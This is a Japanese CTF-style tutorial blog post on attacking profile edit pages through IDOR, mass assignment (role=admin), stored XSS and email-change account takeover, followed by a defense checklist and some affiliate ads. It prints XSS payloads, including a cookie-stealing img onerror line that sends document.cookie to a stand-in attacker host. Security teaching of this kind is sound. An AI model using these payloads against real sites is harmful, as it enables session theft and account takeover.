【プロフィール編集編】IDOR・マスアサインメント・保存型XSSの罠|CTF思考フレームワーク #07
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 Webフォーム編 #07 / 公開中 7記事 → シリーズ一覧を見る →
プロフィール編集ページって、見た目は地味なのにセキュリティの観点だと「玉手箱」なんですよね。ユーザー名、自己紹介、アバター、メールアドレス…ユーザー入力をたっぷり扱う+自分のデータを書き換える=認可と入力検証の両方が試される場所です。
今回は「自分のプロフィールしか編集できないはず」という前提が、どうやって崩されるかを順番に見ていきます。
👀 観察フェーズ:まず何を見る?

プロフィール編集は認可と入力検証の両方が試される玉手箱。攻撃者の遊び場だよ。
プロフィール編集ページを開いたら、まずは「自分のIDがどこに居るか」と「どのフィールドが編集できるか」をチェック。6点👇
- 編集対象のIDがどこに居るか:URL・hidden input・JSONボディ。サーバはセッションから取っている?それとも申告ベース?
- 送信されるパラメータ一覧:表示されているフィールド以外にも、
rolestatuspermissionsなどが紛れていないか。 - 入力欄の出力先:自己紹介はHTMLとしてレンダリングされる?URL欄は
hrefに入る?属性内かHTML本文かでXSSの形が変わる。 - アバター画像のアップロード仕様:拡張子制限、SVG許可の有無、保存先パス、配信ドメイン。
- メール変更フロー:即時反映か、確認メール送信か。再認証(パスワード入力)が必要か。
- 変更後の挙動:成功メッセージの差分、エラーメッセージから内部実装が透けて見えるか。
特に hidden inputとURLのID部分は、IDORの入り口になりやすい場所。最初にチェックする癖をつけたいですね。

え、user_idがリクエストに入ってるの…それ書き換えたら他人になれるの!?💧
🤔 仮説フェーズ:攻撃者は何を考える?

プロフィール編集の三種の神器はIDOR・マスアサインメント・保存型XSS。1つずつ見ていこう。
攻撃者は「他人になる」「権限を盗む」「コードを仕込む」の3方向から狙ってきます。代表的な4つの仮説を見ていきます。
💭 仮説①(IDOR):更新リクエストに含まれるuser_idを他人のIDに書き換えれば、認可チェックが甘いサーバなら通ってしまうはず。
💭 仮説②(マスアサインメント):フォームに無いフィールド(role is_admin等)をPOSTに足せば、ホワイトリストが無いサーバはそのまま代入してしまうはず。
💭 仮説③(保存型XSS):自己紹介やURL欄に<script>系を入れて保存し、表示ページで発火すれば、出力時のエスケープが抜けている証拠。
IDOR・マスアサインメント・保存型XSS、この3つは「プロフィール編集の三種の神器」と覚えておくと忘れません。
🔓 仮説①:IDOR(他人のIDで編集)
更新リクエストのuser_idを他人のIDに書き換えるだけで通ってしまうケース。サーバが「リクエストのID=編集対象」と素直に解釈してしまうと、認可チェックが空回りします。

え、user_idを1個ずらすだけで他人のプロフィール触れちゃうの!?怖すぎ💧
👑 仮説②:マスアサインメント(権限昇格)
フォームに無いrole=adminやis_admin=1をPOSTに追加するだけで、ホワイトリストが無いサーバはそのまま代入してしまいます。一般ユーザーから管理者に昇格する致命的バグ。

うわ、フォームに無い項目を勝手に送るだけで権限上がるの…!?
⚡ 仮説③:保存型XSS(自己紹介欄)
自己紹介欄やURL欄に<script>系を入れて保存。表示ページで発火すれば、出力時のエスケープが抜けている証拠。他人がページを見るたびに攻撃が走るので、影響範囲が広い。

保存型って、自分のプロフィールを見た人全員が攻撃される…?拡散力ハンパない💧
📧 仮説④:メアド変更で乗っ取り完成
メアド変更時に現パスワード確認や変更前メアドへの確認メールがない実装だと、IDORやXSSと組み合わせてアカウントを完全に奪取される危険性。リセットURLが新メアドに届けば終わりです。

メアド変えられたらパスワードリセットも乗っ取られるじゃん…セット技だ💧
IDOR・マスアサインメント・保存型XSS・メアド変更、この4つを順番に試すのがプロフィール編集の定番チェック💡
🔬 検証フェーズ:どうやって確かめる?

プロフィール検証はBurp Suiteでリクエストを観察→改ざん→比較の流れが基本。
仮説を順番に検証していきます。必ず自分の環境か、許可された環境でやってください。
🔬 STEP 1:IDの扱いを観察する
プロフィール画面の更新リクエストをBurpで覗く。user_id profile_id uid など「編集対象を示すパラメータ」がhiddenやURLに居ないか探す。あれば別ユーザーのIDに書き換えてレスポンスを観察。「他人のデータが返る」「更新が成功する」ならIDOR確定。
🔬 STEP 2:余計なフィールドを混ぜてみる
POSTボディに role=admin is_admin=1 balance=99999 email_verified=true などを追加して送信。レスポンスや再ログイン後の挙動が変わるかチェック。サーバが「未知のフィールド」を黙って受け入れるなら、マスアサインメント脆弱性が眠っている。
🔬 STEP 3:入力欄にXSSペイロードを入れる
自己紹介・表示名・URL欄などに <script>alert(1)</script> や属性ブレイク用の " onmouseover=alert(1) を入れて保存。プロフィール表示ページで発火すれば保存型XSS。アバターSVGなら中に<script>を仕込んで配信URLを直接踏ませる手も。

うわ、IDの書き換えも余計なフィールド追加もBurpで一発…!

攻撃者の道具は無料で誰でも使える。だからこそ守る側はそれ以上の対策が必要なんだ。
⚔️ 攻撃フェーズ:実際の手口

“なぜ通るか”を理解するのがゴール。認可と入力検証が両方緩いと一気にやられる。
実戦シナリオを3つ。どれも「クライアントから来た値を信じる」という共通の落とし穴。
🎯 シナリオ①:IDORで他人のプロフィールを書き換える
更新リクエストに user_id=123 が含まれていたら、Burpで user_id=124 に書き換えて送信。サーバが「リクエストのID=編集対象」と素直に解釈すると、他人のプロフィールが書き換わる。連番IDなら総当たりも可能で、管理者IDを引き当てればroleごと奪える可能性も。
🎯 シナリオ②:マスアサインメントで権限昇格
通常のフォームには無い role=admin や is_admin=1 email_verified=true をPOSTに追加するだけ。Rails/Laravel/Djangoなどで「すべての属性をまとめて代入」する実装だと、許可してないはずのフィールドまで上書きされて権限昇格。CVE級の事故が今も毎年発生する古典手口。
🎯 シナリオ③:自己紹介欄から保存型XSS
自己紹介に <img src=x onerror=fetch(`//attacker/?c=`+document.cookie)> を埋めて保存。プロフィールページを開いた他のユーザーのCookieやセッションが攻撃者に飛ぶ。SVGアバターアップロードが許されていれば、SVG内に<script>を仕込んで同じことが可能。
CTF{never_trust_user_supplied_ids_or_fields}共通する原則は「クライアントから来た値は常に疑え」。サーバ側で本人確認+許可リスト+エスケープの3点セットが必須です。

えっ、他人になりすまし・管理者に昇格・XSSで拡散って…プロフィール編集で全部できちゃうの!?💧
🛡️ 防御フェーズ:どう守る?

やっとお待ちかね、守る側の打ち手。プロフィール編集は認可・入力検証・出力の3面で守る。
守る側のチェックリストはこちら。セッションからID取得+許可リスト+出力エスケープの3点セットが基本🛡️
- ユーザーID由来は常にセッションから取る。
POSTパラメータやhidden inputのIDは絶対に信用しない。 - 更新可能フィールドはサーバ側でホワイトリスト化。
roleis_adminemail_verifiedなどは絶対に外す。MassAssignmentガードを必ず有効化。 - 出力時はコンテキスト別エスケープ。HTML本文は
htmlspecialchars、属性内はクオート+エスケープ、JSON埋め込みはJSON.stringify+XSSフィルタ。 - アバター画像は別ドメイン配信+再エンコード。SVGアップロードは禁止か、サニタイズ(DOMPurify-SVG等)必須。
- メール変更は二段階。新メールに確認リンク送信→クリックで反映。即時反映はアカウント乗っ取りの温床。
- 監査ログを取る。誰がいつどのフィールドを変更したかを残す。異常検知(短時間の連続変更、role変更等)にアラート。
✅ 守りの肝は 「IDはサーバが決める/フィールドはホワイトリスト/出力はエスケープ」。この3点さえ徹底できれば、プロフィール編集まわりの事故は劇的に減ります。

なるほど…セッションのIDを信じて、許可リストで受け、エスケープして出す。3面で守るのがコツだね!

その通り。「クライアントの値を信じない」がプロフィール編集の絶対ルールだよ🛡️
🛡️ 今日からできる対策ツール
パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。
⚠️ よくある落とし穴
よくある実装ミス。
- 「ログインチェック=認可」と思い込んで、リソース所有者の確認を忘れる。
- リクエストボディの user_id を信頼してDB更新する。
- ORM の一括代入機能を、ホワイトリストなしで使う。
- 自己紹介欄を「保存時にエスケープ」して、後で別ページで生表示してしまう。
- 管理画面だけ「信頼された入力」として扱い、エスケープを省略する。
- メール変更時に旧メアドへの通知がなく、サイレント奪取を許す。
🧰 ツール早見表
実戦で使う道具。
| ツール | 用途 | ひと言 |
|---|---|---|
| Burp Suite Repeater | リクエスト改ざん・再送 | IDORテストの定番 |
| Autorize (Burp拡張) | 認可テスト自動化 | 別ユーザーで全エンドポイントを叩いて差分検出 |
| DOMPurify | クライアント側XSSサニタイズ | 出力時のフィルタとして |
| OWASP ZAP | 統合スキャナ | 保存型XSSの自動検出に強い |
🎓 本気で学びたい人へ
Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。
📚 もっと深く学びたい人へ
体系的に攻撃と防御の両面を学びたいなら『ホワイトハッカー入門 第2版』が分かりやすい入口です📚
📚 次に読みたい
📰 関連の実例・ニュース解説
この攻撃が実際に使われた事件・対策ガイドはこちら:
CTF・セキュリティ学習ハブページへ


